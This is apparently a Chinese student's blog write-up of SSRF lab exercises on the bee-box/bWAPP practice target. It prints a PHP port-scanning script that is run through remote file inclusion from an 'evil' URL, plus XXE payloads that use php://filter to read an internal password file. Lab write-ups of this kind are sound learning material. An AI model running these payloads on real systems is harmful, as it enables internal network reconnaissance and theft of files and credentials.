SSRF之bee-box练习

SSRF

(Server-side Request Forgery,服务器请求伪造)漏洞,是一种攻击者构造请求,是一种攻击者发起的伪造由服务器发起请求的一种攻击。
SSRF危害
* 端口扫描
* 利用file文件协议 读取本地文件
* 内网web 应用指纹识别
* 攻击内网web
端口扫描和读取文件的危害会在等下练习的时候体现出来;
漏洞发现:
其中对外发起网络请求的地方都可能存在SSRF漏洞,列举图片加载下载,分享页面等等;
看到了存在url类型的参数的话,就可以尝试是否存在SSRF漏洞;
做两个实验来加深理解SSRF:
在这里插入图片描述
服务器端请求伪造(SSRF)就是绕过诸如防火墙之类的访问控制。

将此Web服务器用作以下代理:

 1.使用RFI进行端口扫描。

 2.使用XXE访问内部网络上的资源。

 3.使用XXE崩溃我的Samsung SmartTV(CVE-2013-4890)

这个实验给我们三个这样的任务,这是在bee-box靶机环境做的实验,我没有第三个实验环境,个人觉得两个实验做了理解SSRF就差不多了。

使用RFI进行端口扫描

点击第一个给了我们一份端口扫描攻击脚本;
来进行下代码审计顺便复习一下php的有关知识:

<?php>
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";//echo输出函数


if(isset($_REQUEST["ip"]))//判断是否提交了ip
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);//列出几个需要扫描的端口
    
    $results = array();
    
    foreach($ports as $port)//遍历数组
    {


        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))//fsockopen函数建立连接,端口扫描
        {


            $results[$port] = true;
            fclose($pf);
            
        }
        
        else
        {


            $results[$port] = false;        


        }


    }
    foreach($results as $port=>$val)
    {


        $prot = getservbyport($port,"tcp");//返回给定端口号和协议名的相关服务信息
        echo "Port $port ($prot): ";


        if($val)
        {


            echo "<span style=\"color:green\">OK</span><br/>";


        }


        else
        {


            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}
?>

然后利用远程包含文件漏洞执行端口扫描脚本,这里已经给出类似于远程文件http://192.168.191.6/evil/ssrf-1.txt
我这里被攻击机是192.168.191.6,攻击机就是我的windows;
访问网站进入:
在这里插入图片描述
点击go之后会发现url变成:http://192.168.191.6/bWAPP/rlfi.php?language=lang_en.php&action=go
明显是文件包含漏洞,利用这个漏洞结合SSRF我们可以通过构造端口扫描脚本使服务器发起请求从而达到攻击的目的;
这里有两种不同的方式,可以抓包通过get请求方式添加参数ipforward;
也可以利用火狐浏览器的插件hackbar,因为hackbar现在要收费我这里用的是Max hackbar;
在这里插入图片描述
在这里插入图片描述
如图,构造get请求方式foward攻击成功;
在这里插入图片描述
如图利用火狐的插件也可以达到上述效果;

使用XXE访问内部网络上的资源

点击第二关,会给我们ssrf-2.txt的文件,根据文件内容

#Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


#Accesses a file on the internal network (2)
#Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

看到代码我们应该就能想到这里应该是利用XML攻击结合SSRF读取被攻击机的文件:
进入XXE漏洞界面点击Any bugs进行抓包:
在这里插入图片描述
发送到repeater模块
发现有xml文件将xml文件修改为ssrf-2.txt第一个发送:
在这里插入图片描述
发现四项是不能访问的;
但是我们可以通过这个漏洞获取其中的内容,获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据。
在这里插入图片描述
解码:
在这里插入图片描述
进而得到内部网络资源(其中利用到了php协议以及file协议);

唉也才了解那么一点点知识好想大佬带我。

发布了5 篇原创文章 · 获赞 5 · 访问量 195

猜你喜欢

转载自blog.csdn.net/qq_43571759/article/details/104574725
Bee